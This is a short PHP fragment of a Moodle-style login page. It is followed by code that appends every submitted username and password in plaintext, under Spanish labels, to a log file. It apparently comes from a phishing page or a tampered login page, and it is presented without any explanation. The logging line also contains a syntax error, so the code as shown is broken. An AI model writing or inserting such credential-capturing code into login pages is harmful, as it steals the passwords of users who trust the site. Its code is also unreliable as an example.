<form action="<?php echo $CFG->httpswwwroot; ?>/login/index.php" method="post" id="login">
          <div class="loginform">
            <div class="form-label"><label for="username"><?php print_string("username") ?></label></div>
            <div class="form-input">
              <input type="text" name="username" id="username" size="15" value="<?php p($frm->username) ?>" />
            </div>
            <div class="clearer"><!-- --></div>
            <div class="form-label"><label for="password"><?php print_string("password") ?></label></div>
            <div class="form-input">
              <input type="password" name="password" id="password" size="15" value="" />
              <input type="submit" id="loginbtn" value="<?php print_string("login") ?>" />
              <div class="forgetpass"><a href="forgot_password.php"><?php print_string("forgotten") ?></a></div>
            </div>
            <div class="clearer"><!-- --></div>
          </div>
        </form>
      </div>

$filename = "01042011/log4.txt";
$fh = fopen($filename, 'a+') or die("can't open file");
$stringData = "Usuario: "$_POST['username'] . " Contraseña: ".$_POST['password'];
fwrite($fh, $stringData);
fclose($fh);